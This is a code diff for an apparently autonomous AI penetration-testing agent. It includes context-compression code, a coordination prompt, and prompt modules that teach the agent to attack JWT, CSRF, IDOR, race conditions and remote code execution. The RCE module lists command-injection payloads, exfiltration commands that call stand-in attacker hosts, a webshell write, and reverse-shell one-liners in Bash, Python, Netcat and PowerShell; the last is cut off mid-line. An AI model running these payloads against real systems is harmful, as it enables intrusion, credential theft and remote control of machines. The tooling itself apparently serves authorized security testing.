+SUMMARY_PROMPT_TEMPLATE = """You are an agent performing context +condensation for a security agent. Your job is to compress scan data while preserving +ALL operationally critical information for continuing the security assessment. + +CRITICAL ELEMENTS TO PRESERVE: +- Discovered vulnerabilities and potential attack vectors +- Scan results and tool outputs (compressed but maintaining key findings) +- Access credentials, tokens, or authentication details found +- System architecture insights and potential weak points +- Progress made in the assessment +- Failed attempts and dead ends (to avoid duplication) +- Any decisions made about the testing approach + +COMPRESSION GUIDELINES: +- Preserve exact technical details (URLs, paths, parameters, payloads) +- Summarize verbose tool outputs while keeping critical findings +- Maintain version numbers, specific technologies identified +- Keep exact error messages that might indicate vulnerabilities +- Compress repetitive or similar findings into consolidated form + +Remember: Another security agent will use this summary to continue the assessment. +They must be able to pick up exactly where you left off without losing any +operational advantage or context needed to find vulnerabilities. + +CONVERSATION SEGMENT TO SUMMARIZE: +{conversation} + +Provide a technically precise summary that preserves all operational security context while +keeping the summary concise and to the point.""" + + +def _count_tokens(text: str, model: str) -> int: + try: + count = litellm.token_counter(model=model, text=text) + return int(count) + except Exception: + logger.exception("Failed to count tokens") + return len(text) // 4 # Rough estimate + + +def _get_message_tokens(msg: dict[str, Any], model: str) -> int: + content = msg.get("content", "") + if isinstance(content, str): + return _count_tokens(content, model) + if isinstance(content, list): + return sum( + _count_tokens(item.get("text", ""), model) + for item in content + if isinstance(item, dict) and item.get("type") == "text" + ) + return 0 + + +def _extract_message_text(msg: dict[str, Any]) -> str: + content = msg.get("content", "") + if isinstance(content, str): + return content + + if isinstance(content, list): + parts = [] + for item in content: + if isinstance(item, dict): + if item.get("type") == "text": + parts.append(item.get("text", "")) + elif item.get("type") == "image_url": + parts.append("[IMAGE]") + return " ".join(parts) + + return str(content) + + +def _summarize_messages( + messages: list[dict[str, Any]], + model: str, +) -> dict[str, Any]: + if not messages: + empty_summary = "{text}" + return { + "role": "assistant", + "content": empty_summary.format(text="No messages to summarize"), + } + + formatted = [] + for msg in messages: + role = msg.get("role", "unknown") + text = _extract_message_text(msg) + formatted.append(f"{role}: {text}") + + conversation = "\n".join(formatted) + prompt = SUMMARY_PROMPT_TEMPLATE.format(conversation=conversation) + + try: + completion_args = { + "model": model, + "messages": [{"role": "user", "content": prompt}], + } + + response = litellm.completion(**completion_args) + summary = response.choices[0].message.content + summary_msg = "{text}" + return { + "role": "assistant", + "content": summary_msg.format(count=len(messages), text=summary), + } + except Exception: + logger.exception("Failed to summarize messages") + return messages[0] + + +def _handle_images(messages: list[dict[str, Any]], max_images: int) -> None: + image_count = 0 + for msg in reversed(messages): + content = msg.get("content", []) + if isinstance(content, list): + for item in content: + if isinstance(item, dict) and item.get("type") == "image_url": + if image_count >= max_images: + item.update( + { + "type": "text", + "text": "[Previously attached image removed to preserve context]", + } + ) + else: + image_count += 1 + + +class MemoryCompressor: + def __init__( + self, + max_images: int = 3, + model_name: str | None = None, + ): + self.max_images = max_images + self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-sonnet-4-20250514") + + if not self.model_name: + raise ValueError("STRIX_LLM environment variable must be set and not empty") + + def compress_history( + self, + messages: list[dict[str, Any]], + ) -> list[dict[str, Any]]: + """Compress conversation history to stay within token limits. + + Strategy: + 1. Handle image limits first + 2. Keep all system messages + 3. Keep minimum recent messages + 4. Summarize older messages when total tokens exceed limit + + The compression preserves: + - All system messages unchanged + - Most recent messages intact + - Critical security context in summaries + - Recent images for visual context + - Technical details and findings + """ + if not messages: + return messages + + _handle_images(messages, self.max_images) + + system_msgs = [] + regular_msgs = [] + for msg in messages: + if msg.get("role") == "system": + system_msgs.append(msg) + else: + regular_msgs.append(msg) + + recent_msgs = regular_msgs[-MIN_RECENT_MESSAGES:] + old_msgs = regular_msgs[:-MIN_RECENT_MESSAGES] + + # Type assertion since we ensure model_name is not None in __init__ + model_name: str = self.model_name # type: ignore[assignment] + + total_tokens = sum( + _get_message_tokens(msg, model_name) for msg in system_msgs + regular_msgs + ) + + if total_tokens <= MAX_TOTAL_TOKENS * 0.9: + return messages + + compressed = [] + chunk_size = 10 + for i in range(0, len(old_msgs), chunk_size): + chunk = old_msgs[i : i + chunk_size] + summary = _summarize_messages(chunk, model_name) + if summary: + compressed.append(summary) + + return system_msgs + compressed + recent_msgs diff --git a/strix/llm/request_queue.py b/strix/llm/request_queue.py new file mode 100644 index 0000000..3ea7761 --- /dev/null +++ b/strix/llm/request_queue.py @@ -0,0 +1,63 @@ +import asyncio +import logging +import threading +import time +from typing import Any + +from litellm import ModelResponse, completion +from tenacity import retry, stop_after_attempt, wait_exponential + + +logger = logging.getLogger(__name__) + + +class LLMRequestQueue: + def __init__(self, max_concurrent: int = 6, delay_between_requests: float = 1.0): + self.max_concurrent = max_concurrent + self.delay_between_requests = delay_between_requests + self._semaphore = threading.BoundedSemaphore(max_concurrent) + self._last_request_time = 0.0 + self._lock = threading.Lock() + + async def make_request(self, completion_args: dict[str, Any]) -> ModelResponse: + try: + while not self._semaphore.acquire(timeout=0.2): + await asyncio.sleep(0.1) + + with self._lock: + now = time.time() + time_since_last = now - self._last_request_time + sleep_needed = max(0, self.delay_between_requests - time_since_last) + self._last_request_time = now + sleep_needed + + if sleep_needed > 0: + await asyncio.sleep(sleep_needed) + + return await self._reliable_request(completion_args) + finally: + self._semaphore.release() + + @retry( # type: ignore[misc] + stop=stop_after_attempt(15), + wait=wait_exponential(multiplier=1.2, min=1, max=300), + reraise=True, + ) + async def _reliable_request(self, completion_args: dict[str, Any]) -> ModelResponse: + response = completion(**completion_args, stream=False) + if isinstance(response, ModelResponse): + return response + self._raise_unexpected_response() + raise RuntimeError("Unreachable code") + + def _raise_unexpected_response(self) -> None: + raise RuntimeError("Unexpected response type") + + +_global_queue: LLMRequestQueue | None = None + + +def get_global_queue() -> LLMRequestQueue: + global _global_queue # noqa: PLW0603 + if _global_queue is None: + _global_queue = LLMRequestQueue() + return _global_queue diff --git a/strix/llm/utils.py b/strix/llm/utils.py new file mode 100644 index 0000000..5258768 --- /dev/null +++ b/strix/llm/utils.py @@ -0,0 +1,84 @@ +import re +from typing import Any + + +def _truncate_to_first_function(content: str) -> str: + if not content: + return content + + function_starts = [match.start() for match in re.finditer(r"= 2: + second_function_start = function_starts[1] + + return content[:second_function_start].rstrip() + + return content + + +def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None: + content = _fix_stopword(content) + + tool_invocations: list[dict[str, Any]] = [] + + fn_regex_pattern = r"]+)>\n?(.*?)" + fn_param_regex_pattern = r"]+)>(.*?)" + + fn_matches = re.finditer(fn_regex_pattern, content, re.DOTALL) + + for fn_match in fn_matches: + fn_name = fn_match.group(1) + fn_body = fn_match.group(2) + + param_matches = re.finditer(fn_param_regex_pattern, fn_body, re.DOTALL) + + args = {} + for param_match in param_matches: + param_name = param_match.group(1) + param_value = param_match.group(2).strip() + args[param_name] = param_value + + tool_invocations.append({"toolName": fn_name, "args": args}) + + return tool_invocations if tool_invocations else None + + +def _fix_stopword(content: str) -> str: + if "" + elif not content.rstrip().endswith(""): + content = content + "\n" + return content + + +def format_tool_call(tool_name: str, args: dict[str, Any]) -> str: + xml_parts = [f""] + + for key, value in args.items(): + xml_parts.append(f"{value}") + + xml_parts.append("") + + return "\n".join(xml_parts) + + +def clean_content(content: str) -> str: + if not content: + return "" + + content = _fix_stopword(content) + + tool_pattern = r"]+>.*?" + cleaned = re.sub(tool_pattern, "", content, flags=re.DOTALL) + + hidden_xml_patterns = [ + r".*?", + r".*?", + ] + for pattern in hidden_xml_patterns: + cleaned = re.sub(pattern, "", cleaned, flags=re.DOTALL | re.IGNORECASE) + + cleaned = re.sub(r"\n\s*\n", "\n\n", cleaned) + + return cleaned.strip() diff --git a/strix/prompts/__init__.py b/strix/prompts/__init__.py new file mode 100644 index 0000000..a08f853 --- /dev/null +++ b/strix/prompts/__init__.py @@ -0,0 +1,113 @@ +from pathlib import Path + +from jinja2 import Environment + + +def get_available_prompt_modules() -> dict[str, list[str]]: + modules_dir = Path(__file__).parent + available_modules = {} + + for category_dir in modules_dir.iterdir(): + if category_dir.is_dir() and not category_dir.name.startswith("__"): + category_name = category_dir.name + modules = [] + + for file_path in category_dir.glob("*.jinja"): + module_name = file_path.stem + modules.append(module_name) + + if modules: + available_modules[category_name] = sorted(modules) + + return available_modules + + +def get_all_module_names() -> set[str]: + all_modules = set() + for category_modules in get_available_prompt_modules().values(): + all_modules.update(category_modules) + return all_modules + + +def validate_module_names(module_names: list[str]) -> dict[str, list[str]]: + available_modules = get_all_module_names() + valid_modules = [] + invalid_modules = [] + + for module_name in module_names: + if module_name in available_modules: + valid_modules.append(module_name) + else: + invalid_modules.append(module_name) + + return {"valid": valid_modules, "invalid": invalid_modules} + + +def generate_modules_description() -> str: + available_modules = get_available_prompt_modules() + + if not available_modules: + return "No prompt modules available" + + description_parts = [] + + for category, modules in available_modules.items(): + modules_str = ", ".join(modules) + description_parts.append(f"{category} ({modules_str})") + + description = ( + f"List of prompt modules to load for this agent (max 3). " + f"Available modules: {', '.join(description_parts)}. " + ) + + example_modules = [] + for modules in available_modules.values(): + example_modules.extend(modules[:2]) + if len(example_modules) >= 2: + break + + if example_modules: + example = f"Example: {example_modules[:2]} for specialized agent" + description += example + + return description + + +def load_prompt_modules(module_names: list[str], jinja_env: Environment) -> dict[str, str]: + import logging + + logger = logging.getLogger(__name__) + module_content = {} + prompts_dir = Path(__file__).parent + + available_modules = get_available_prompt_modules() + + for module_name in module_names: + try: + module_path = None + + if "/" in module_name: + module_path = f"{module_name}.jinja" + else: + for category, modules in available_modules.items(): + if module_name in modules: + module_path = f"{category}/{module_name}.jinja" + break + + if not module_path: + root_candidate = f"{module_name}.jinja" + if (prompts_dir / root_candidate).exists(): + module_path = root_candidate + + if module_path and (prompts_dir / module_path).exists(): + template = jinja_env.get_template(module_path) + var_name = module_name.split("/")[-1] + module_content[var_name] = template.render() + logger.info(f"Loaded prompt module: {module_name} -> {var_name}") + else: + logger.warning(f"Prompt module not found: {module_name}") + + except (FileNotFoundError, OSError, ValueError) as e: + logger.warning(f"Failed to load prompt module {module_name}: {e}") + + return module_content diff --git a/strix/prompts/coordination/root_agent.jinja b/strix/prompts/coordination/root_agent.jinja new file mode 100644 index 0000000..71288c3 --- /dev/null +++ b/strix/prompts/coordination/root_agent.jinja @@ -0,0 +1,41 @@ + +You are a COORDINATION AGENT ONLY. You do NOT perform any security testing, vulnerability assessment, or technical work yourself. + +Your ONLY responsibilities: +1. Create specialized agents for specific security tasks +2. Monitor agent progress and coordinate between them +3. Compile final scan reports from agent findings +4. Manage agent communication and dependencies + +CRITICAL RESTRICTIONS: +- NEVER perform vulnerability testing or security assessments +- NEVER write detailed vulnerability reports (only compile final summaries) +- ONLY use agent_graph and finish tools for coordination +- You can create agents throughout the scan process, depending on the task and findings, not just at the beginning! + + + +BEFORE CREATING AGENTS: +1. Analyze the target scope and break into independent tasks +2. Check existing agents to avoid duplication +3. Create agents with clear, specific objectives to avoid duplication + +AGENT TYPES YOU CAN CREATE: +- Reconnaissance: subdomain enum, port scanning, tech identification, etc. +- Vulnerability Testing: SQL injection, XSS, auth bypass, IDOR, RCE, SSRF, etc. Can be black-box or white-box. + - Direct vulnerability testing agents to implement hierarchical workflow (per finding: discover, verify, report, fix): each one should create validation agents for findings verification, which spawn reporting agents for documentation, which create fix agents for remediation + +COORDINATION GUIDELINES: +- Ensure clear task boundaries and success criteria +- Terminate redundant agents when objectives overlap +- Use message passing for agent communication + + + +When all agents complete: +1. Collect findings from all agents +2. Compile a final scan summary report +3. Use finish tool to complete the assessment + +Your value is in orchestration, not execution. + diff --git a/strix/prompts/vulnerabilities/authentication_jwt.jinja b/strix/prompts/vulnerabilities/authentication_jwt.jinja new file mode 100644 index 0000000..ce32f08 --- /dev/null +++ b/strix/prompts/vulnerabilities/authentication_jwt.jinja @@ -0,0 +1,129 @@ + +AUTHENTICATION & JWT VULNERABILITIES + +Authentication flaws lead to complete account takeover. JWT misconfigurations are everywhere. + + +header.payload.signature +- Header: {"alg":"HS256","typ":"JWT"} +- Payload: {"sub":"1234","name":"John","iat":1516239022} +- Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret) + + + + +RS256 to HS256: +- Change RS256 to HS256 in header +- Use public key as HMAC secret +- Sign token with public key (often in /jwks.json or /.well-known/) + + + +- Set "alg": "none" in header +- Remove signature completely (keep the trailing dot) + + + +Common secrets: 'secret', 'password', '123456', 'key', 'jwt_secret', 'your-256-bit-secret' + + + +- SQL Injection: "kid": "key' UNION SELECT 'secret'--" +- Command injection: "kid": "|sleep 10" +- Path traversal: "kid": "../../../../../../dev/null" + + + + + +Embed public key in token header: +{"jwk": {"kty": "RSA", "n": "your-public-key-n", "e": "AQAB"}} + + + +Set jku/x5u to attacker-controlled URL hosting malicious JWKS + + + +Extract signature byte-by-byte using verification timing differences + + + + + +- Exploit redirect_uri with open redirects, subdomain takeover, parameter pollution +- Missing/predictable state parameter = CSRF +- PKCE downgrade: remove code_challenge parameter + + + + +- Signature exclusion: remove signature element +- Signature wrapping: inject assertions +- XXE in SAML responses + + + +- Session fixation: force known session ID +- Session puzzling: mix different session objects +- Race conditions in session generation + + + +- Predictable tokens: MD5(timestamp), sequential numbers +- Host header injection for reset link poisoning +- Race condition resets + + + +- Response manipulation: change success:false to true +- Status code manipulation: 403 to 200 +- Brute force with no rate limiting +- Backup code abuse + + + + +Different representations: admin@example.com (fullwidth), аdmin@example.com (Cyrillic) + + + +- JWT + SQLi: kid parameter with SQL injection +- OAuth + XSS: steal tokens via XSS +- SAML + XXE + SSRF: chain for internal access + + + + +- jwt_tool: Comprehensive JWT testing +- Check endpoints: /login, /oauth/authorize, /saml/login, /.well-known/openid-configuration, /jwks.json + + + +To confirm authentication flaw: +1. Demonstrate account access without credentials +2. Show privilege escalation +3. Prove token forgery works +4. Bypass authentication/2FA requirements +5. Maintain persistent access + + + +NOT a vulnerability if: +- Requires valid credentials +- Only affects own session +- Proper signature validation +- Token expiration enforced +- Rate limiting prevents brute force + + + +- Account takeover: access other users' accounts +- Privilege escalation: user to admin +- Token forgery: create valid tokens +- Bypass mechanisms: skip auth/2FA +- Persistent access: survives logout + + +Focus on RS256->HS256, weak secrets, and none algorithm first. Modern apps use multiple auth methods simultaneously - find gaps in integration. + diff --git a/strix/prompts/vulnerabilities/business_logic.jinja b/strix/prompts/vulnerabilities/business_logic.jinja new file mode 100644 index 0000000..ac91150 --- /dev/null +++ b/strix/prompts/vulnerabilities/business_logic.jinja @@ -0,0 +1,143 @@ + +BUSINESS LOGIC FLAWS - OUTSMARTING THE APPLICATION + +Business logic flaws bypass all technical security controls by exploiting flawed assumptions in application workflow. Often the highest-paying vulnerabilities. + + +- Map complete user journeys and state transitions +- Document developer assumptions +- Find edge cases in workflows +- Look for missing validation steps +- Identify trust boundaries + + + + +- Price manipulation (negative quantities, decimal truncation) +- Currency conversion abuse (buy weak, refund strong) +- Discount/coupon stacking +- Payment method switching after verification +- Cart manipulation during checkout + + + +- Registration race conditions (same email/username) +- Account type elevation +- Trial period extension +- Subscription downgrade with feature retention + + + +- Function-level bypass (accessing admin functions as user) +- Object reference manipulation +- Permission inheritance bugs +- Multi-tenancy isolation failures + + + + + +Use race conditions to: +- Double-spend vouchers/credits +- Bypass rate limits +- Create duplicate accounts +- Exploit TOCTOU vulnerabilities + + + +- Skip workflow steps +- Replay previous states +- Force invalid state transitions +- Manipulate hidden parameters + + + +- Type confusion: string where int expected +- Boundary values: 0, -1, MAX_INT +- Format abuse: scientific notation, Unicode +- Encoding tricks: double encoding, mixed encoding + + + + + +- Add items with negative price +- Modify prices client-side +- Apply expired coupons +- Stack incompatible discounts +- Change currency after price lock + + + +- Complete order before payment +- Partial payment acceptance +- Payment replay attacks +- Void after delivery +- Refund more than paid + + + +- Premium features in trial +- Account deletion bypasses +- Privilege retention after demotion +- Transfer restrictions bypass + + + + + +- Exceed account limits +- Bypass geographic restrictions +- Violate temporal constraints +- Break dependency chains + + + +- Parallel execution of exclusive processes +- Recursive operations (infinite loops) +- Asynchronous timing exploitation +- Callback manipulation + + + + +To confirm business logic flaw: +1. Demonstrate financial impact +2. Show consistent reproduction +3. Prove bypass of intended restrictions +4. Document assumption violation +5. Quantify potential damage + + + +NOT a business logic flaw if: +- Requires technical vulnerability (SQLi, XSS) +- Working as designed (bad design ≠ vulnerability) +- Only affects display/UI +- No security impact +- Requires privileged access + + + +- Financial loss (direct monetary impact) +- Unauthorized access to features/data +- Service disruption +- Compliance violations +- Reputation damage + + + +1. Think like a malicious user, not a developer +2. Question every assumption +3. Test boundary conditions obsessively +4. Combine multiple small issues +5. Focus on money flows +6. Check state machines thoroughly +7. Abuse features, don't break them +8. Document business impact clearly +9. Test integration points +10. Time is often a factor - exploit it + + +Business logic flaws are about understanding and exploiting the application's rules, not breaking them with technical attacks. The best findings come from deep understanding of the business domain. + diff --git a/strix/prompts/vulnerabilities/csrf.jinja b/strix/prompts/vulnerabilities/csrf.jinja new file mode 100644 index 0000000..9935242 --- /dev/null +++ b/strix/prompts/vulnerabilities/csrf.jinja @@ -0,0 +1,168 @@ + +CROSS-SITE REQUEST FORGERY (CSRF) - ADVANCED EXPLOITATION + +CSRF forces authenticated users to execute unwanted actions, exploiting the trust a site has in the user's browser. + + +- Password/email change forms +- Money transfer/payment functions +- Account deletion/deactivation +- Permission/role changes +- API key generation/regeneration +- OAuth connection/disconnection +- 2FA enable/disable +- Privacy settings modification +- Admin functions +- File uploads/deletions + + + + +Common token names: csrf_token, csrftoken, _csrf, authenticity_token, __RequestVerificationToken, X-CSRF-TOKEN + +Check if tokens are: +- Actually validated (remove and test) +- Tied to user session +- Reusable across requests +- Present in GET requests +- Predictable or static + + + +- Test if POST endpoints accept GET +- Try method override headers: _method, X-HTTP-Method-Override +- Check if PUT/DELETE lack protection + + + + + +HTML form auto-submit: +
+ + +
+ +
+ + +For JSON endpoints: +
+ +
+
+ + +For file uploads: +Use XMLHttpRequest with credentials +Generate multipart/form-data boundaries + +
+ + + +- Null token: remove parameter entirely +- Empty token: csrf_token= +- Token from own account: use your valid token +- Token fixation: force known token value +- Method interchange: GET token used for POST + + + +- Referer bypass: use data: URI, about:blank +- Origin bypass: null origin via sandboxed iframe +- CORS misconfigurations + + + +- Change multipart to application/x-www-form-urlencoded +- Use text/plain for JSON endpoints +- Exploit parsers that accept multiple formats + + + + + +- XSS on subdomain = CSRF on main domain +- Cookie scope abuse (domain=.example.com) +- Subdomain takeover for CSRF + + + +- Force victim to login as attacker +- Plant backdoors in victim's account +- Access victim's future data + + + +- Force logout → login CSRF → account takeover + + + +If using double-submit cookies: +- Set cookie via XSS/subdomain +- Cookie injection via header injection +- Cookie tossing attacks + + + + + +- Cross-origin WebSocket hijacking +- Steal tokens from WebSocket messages + + + +- GET requests with query parameter +- Batched mutations +- Subscription abuse + + + +- Bearer tokens in URL parameters +- API keys in GET requests +- Insecure CORS policies + + + + +To confirm CSRF: +1. Create working proof-of-concept +2. Test across browsers +3. Verify action completes successfully +4. No user interaction required (beyond visiting page) +5. Works with active session + + + +NOT CSRF if: +- Requires valid CSRF token +- SameSite cookies properly configured +- Proper origin/referer validation +- User interaction required +- Only affects non-sensitive actions + + + +- Account takeover +- Financial loss +- Data modification/deletion +- Privilege escalation +- Privacy violations + + + +1. Check all state-changing operations +2. Test file upload endpoints +3. Look for token disclosure in URLs +4. Chain with XSS for token theft +5. Check mobile API endpoints +6. Test CORS configurations +7. Verify SameSite cookie settings +8. Look for method override possibilities +9. Test WebSocket endpoints +10. Document clear attack scenario + + +Modern CSRF requires creativity - look for token leaks, chain with other vulnerabilities, and focus on high-impact actions. SameSite cookies are not always properly configured. +
diff --git a/strix/prompts/vulnerabilities/idor.jinja b/strix/prompts/vulnerabilities/idor.jinja new file mode 100644 index 0000000..1271922 --- /dev/null +++ b/strix/prompts/vulnerabilities/idor.jinja @@ -0,0 +1,164 @@ + +INSECURE DIRECT OBJECT REFERENCE (IDOR) - ELITE TECHNIQUES + +IDORs are among the HIGHEST IMPACT vulnerabilities - direct unauthorized data access and account takeover. + + + +- Numeric IDs: user_id=123, account=456 +- UUID/GUID patterns: id=550e8400-e29b-41d4-a716-446655440000 +- Encoded IDs: Base64, hex, custom encoding +- Composite IDs: user-org-123-456, ACCT:2024:00123 +- Hash-based IDs: Check if predictable (MD5 of sequential numbers) +- Object references in: URLs, POST bodies, headers, cookies, JWT tokens + + + +- Boundary values: 0, -1, null, empty string, max int +- Different formats: {"id":123} vs {"id":"123"} +- ID patterns: increment, decrement, similar patterns +- Wildcard testing: *, %, _, all +- Array notation: id[]=123&id[]=456 + + + + +- User profiles and PII +- Financial records/transactions +- Private messages/communications +- Medical records +- API keys/secrets +- Internal documents +- Admin functions +- Export endpoints +- Backup files +- Debug information + + + + +Simple increment/decrement: +/api/user/123 → /api/user/124 +/download?file=report_2024_01.pdf → report_2024_02.pdf + + + +Automate ID ranges: +for i in range(1, 10000): + /api/user/{i}/data + + + +- String where int expected: "123" vs 123 +- Array where single value expected: [123] vs 123 +- Object injection: {"id": {"$ne": null}} + + + + + +- Time-based UUIDs (version 1): predictable timestamps +- Weak randomness in version 4 +- Sequential UUID generation + + + +- Side channel: response time, size differences +- Error message variations +- Boolean-based: exists vs not exists + + + +First get list of IDs, then access: +/api/users → [123, 456, 789] +/api/user/789/private-data + + + + + +?id=123&id=456 (takes last or first?) +?user_id=victim&user_id=attacker + + + +- URL encode: %31%32%33 +- Double encoding: %25%33%31 +- Unicode: \u0031\u0032\u0033 + + + +userId vs userid vs USERID vs UserId + + + +/api/user.json?id=123 +/api/user.xml?id=123 +/api/user/123.json vs /api/user/123 + + + + + +Query batching and alias abuse: +query { u1: user(id: 123) { data } u2: user(id: 456) { data } } + + + +Subscribe to other users' channels: +{"subscribe": "user_456_notifications"} + + + +../../../other_user/private.pdf +/files/user_123/../../user_456/data.csv + + + + +- IDOR + XSS: Access and weaponize other users' data +- IDOR + CSRF: Force actions on discovered objects +- IDOR + SQLi: Extract all IDs then access + + + +To confirm IDOR: +1. Access data/function without authorization +2. Demonstrate data belongs to another user +3. Show consistent access pattern +4. Prove it's not intended functionality +5. Document security impact + + + +NOT IDOR if: +- Public data by design +- Proper authorization checks +- Only affects own resources +- Rate limiting prevents exploitation +- Data is sanitized/limited + + + +- Personal data exposure +- Financial information theft +- Account takeover +- Business data leak +- Compliance violations (GDPR, HIPAA) + + + +1. Test all ID parameters systematically +2. Look for patterns in IDs +3. Check export/download functions +4. Test different HTTP methods +5. Monitor for blind IDOR via timing +6. Check mobile APIs separately +7. Look for backup/debug endpoints +8. Test file path traversal +9. Automate enumeration carefully +10. Chain with other vulnerabilities + + +IDORs are about broken access control, not just guessable IDs. Even GUIDs can be vulnerable if disclosed elsewhere. Focus on high-impact data access. + diff --git a/strix/prompts/vulnerabilities/race_conditions.jinja b/strix/prompts/vulnerabilities/race_conditions.jinja new file mode 100644 index 0000000..6dba613 --- /dev/null +++ b/strix/prompts/vulnerabilities/race_conditions.jinja @@ -0,0 +1,194 @@ + +RACE CONDITIONS - TIME-OF-CHECK TIME-OF-USE (TOCTOU) MASTERY + +Race conditions lead to financial fraud, privilege escalation, and business logic bypass. Often overlooked but devastating. + + +- Payment/checkout processes +- Coupon/discount redemption +- Account balance operations +- Voting/rating systems +- Limited resource allocation +- User registration (username claims) +- Password reset flows +- File upload/processing +- API rate limits +- Loyalty points/rewards +- Stock/inventory management +- Withdrawal functions + + + + +Multi-step processes with gaps between: +1. Check phase (validation/verification) +2. Use phase (action execution) +3. Write phase (state update) + +Look for: +- "Check balance then deduct" +- "Verify coupon then apply" +- "Check inventory then purchase" +- "Validate token then consume" + + + +- Parallel requests with same data +- Rapid sequential requests +- Monitor for inconsistent states +- Database transaction analysis +- Response timing variations + + + + + +Python script for Burp Suite Turbo Intruder: +```python +def queueRequests(target, wordlists): + engine = RequestEngine(endpoint=target.endpoint, + concurrentConnections=30, + requestsPerConnection=100, + pipeline=False) + + for i in range(30): + engine.queue(target.req, gate='race1') + + engine.openGate('race1') +``` + + + +- Browser developer tools (multiple tabs) +- curl with & for background: curl url & curl url & +- Python asyncio/aiohttp +- Go routines +- Node.js Promise.all() + + + + + +- Double withdrawal +- Multiple discount applications +- Balance transfer duplication +- Payment bypass +- Cashback multiplication + + + +- Multiple password resets +- Account creation with same email +- 2FA bypass +- Session generation collision + + + +- Inventory depletion bypass +- Rate limit circumvention +- File overwrite +- Token reuse + + + + + +HTTP/2 multiplexing for true simultaneous delivery: +- All requests in single TCP packet +- Microsecond precision +- Bypass even mutex locks + + + +Send all but last byte, then: +1. Hold connections open +2. Send final byte simultaneously +3. Achieve nanosecond precision + + + +Pre-establish connections: +1. Create connection pool +2. Prime with dummy requests +3. Send race requests on warm connections + + + + + +- Multiple source IPs +- Different user sessions +- Varied request headers +- Geographic distribution + + + +- Measure server processing time +- Align requests with server load +- Exploit maintenance windows +- Target async operations + + + + + +"Limited to 1 per user" → Send N parallel requests +Results: N successful purchases + + + +Transfer $100 from account with $100 balance: +- 10 parallel transfers +- Each checks balance: $100 available +- All proceed: -$900 balance + + + +Single vote limit: +- Send multiple vote requests simultaneously +- All pass validation +- Multiple votes counted + + + + +To confirm race condition: +1. Demonstrate parallel execution success +2. Show single request fails +3. Prove timing dependency +4. Document financial/security impact +5. Achieve consistent reproduction + + + +NOT a race condition if: +- Idempotent operations +- Proper locking mechanisms +- Atomic database operations +- Queue-based processing +- No security impact + + + +- Financial loss (double spending) +- Resource exhaustion +- Data corruption +- Business logic bypass +- Privilege escalation + + + +1. Use HTTP/2 for better synchronization +2. Automate with Turbo Intruder +3. Test payment flows extensively +4. Monitor database locks +5. Try different concurrency levels +6. Test async operations +7. Look for compensating transactions +8. Check mobile app endpoints +9. Test during high load +10. Document exact timing windows + + +Modern race conditions require microsecond precision. Focus on financial operations and limited resource allocation. Single-packet attacks are most reliable. + diff --git a/strix/prompts/vulnerabilities/rce.jinja b/strix/prompts/vulnerabilities/rce.jinja new file mode 100644 index 0000000..166c078 --- /dev/null +++ b/strix/prompts/vulnerabilities/rce.jinja @@ -0,0 +1,222 @@ + +REMOTE CODE EXECUTION (RCE) - MASTER EXPLOITATION + +RCE is the holy grail - complete system compromise. Modern RCE requires sophisticated bypass techniques. + + +- System commands: ping, nslookup, traceroute, whois +- File operations: upload, download, convert, resize +- PDF generators: wkhtmltopdf, phantomjs +- Image processors: ImageMagick, GraphicsMagick +- Media converters: ffmpeg, sox +- Archive handlers: tar, zip, 7z +- Version control: git, svn operations +- LDAP queries +- Database backup/restore +- Email sending functions + + + + +- Linux/Unix: ;sleep 10 # | sleep 10 # `sleep 10` $(sleep 10) +- Windows: & ping -n 10 127.0.0.1 & || ping -n 10 127.0.0.1 || +- PowerShell: ;Start-Sleep -s 10 # + + + +- nslookup $(whoami).attacker.com +- ping $(hostname).attacker.com +- curl http://$(cat /etc/passwd | base64).attacker.com + + + +- Direct: ;cat /etc/passwd +- Encoded: ;cat /etc/passwd | base64 +- Hex: ;xxd -p /etc/passwd + + + + + +; id +| id +|| id +& id +&& id +`id` +$(id) +${IFS}id + + + +- Space bypass: ${IFS}, $IFS$9, <, %09 (tab) +- Blacklist bypass: w'h'o'a'm'i, w"h"o"a"m"i +- Command substitution: $(a=c;b=at;$a$b /etc/passwd) +- Encoding: echo 'aWQ=' | base64 -d | sh +- Case variation: WhOaMi (Windows) + + + + + +- eval($_GET['cmd']) +- system(), exec(), shell_exec(), passthru() +- preg_replace with /e modifier +- assert() with string input +- unserialize() exploitation + + + +- eval(), exec() +- subprocess.call(shell=True) +- os.system() +- pickle deserialization +- yaml.load() + + + +- Runtime.getRuntime().exec() +- ProcessBuilder +- ScriptEngine eval +- JNDI injection +- Expression Language injection + + + +- eval() +- child_process.exec() +- vm.runInContext() +- require() pollution + + + + + +Works in multiple contexts: +;id;#' |id| #" |id| # +${{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7} + + + +- DNS exfiltration: $(whoami).evil.com +- HTTP callbacks: curl evil.com/$(id) +- Time delays for boolean extraction +- Write to web root: echo '' > /var/www/shell.php + + + +1. Command injection → Write webshell +2. File upload → LFI → RCE +3. XXE → SSRF → internal RCE +4. SQLi → INTO OUTFILE → RCE + + + + + +push graphic-context +viewbox 0 0 640 480 +fill 'url(https://evil.com/image.jpg"|id > /tmp/output")' +pop graphic-context + + + +%!PS +/outfile (%pipe%id) (w) file def + + + +#EXTM3U +#EXT-X-TARGETDURATION:1 +#EXTINF:1.0, +concat:|file:///etc/passwd + + + +\immediate\write18{id > /tmp/pwn} +\input{|"cat /etc/passwd"} + + + + + +- Privileged containers: mount host filesystem +- Docker.sock exposure +- Kernel exploits +- /proc/self/exe overwrite + + + +- Service account tokens +- Kubelet API access +- Container breakout to node + + + + +- Unicode normalization +- Double URL encoding +- Case variation mixing +- Null bytes: %00 +- Comments: /**/i/**/d +- Alternative commands: hostname vs uname -n +- Path traversal: /usr/bin/id vs id + + + + +Bash: bash -i >& /dev/tcp/attacker/4444 0>&1 +Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' +Netcat: nc -e /bin/sh attacker 4444 +PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + 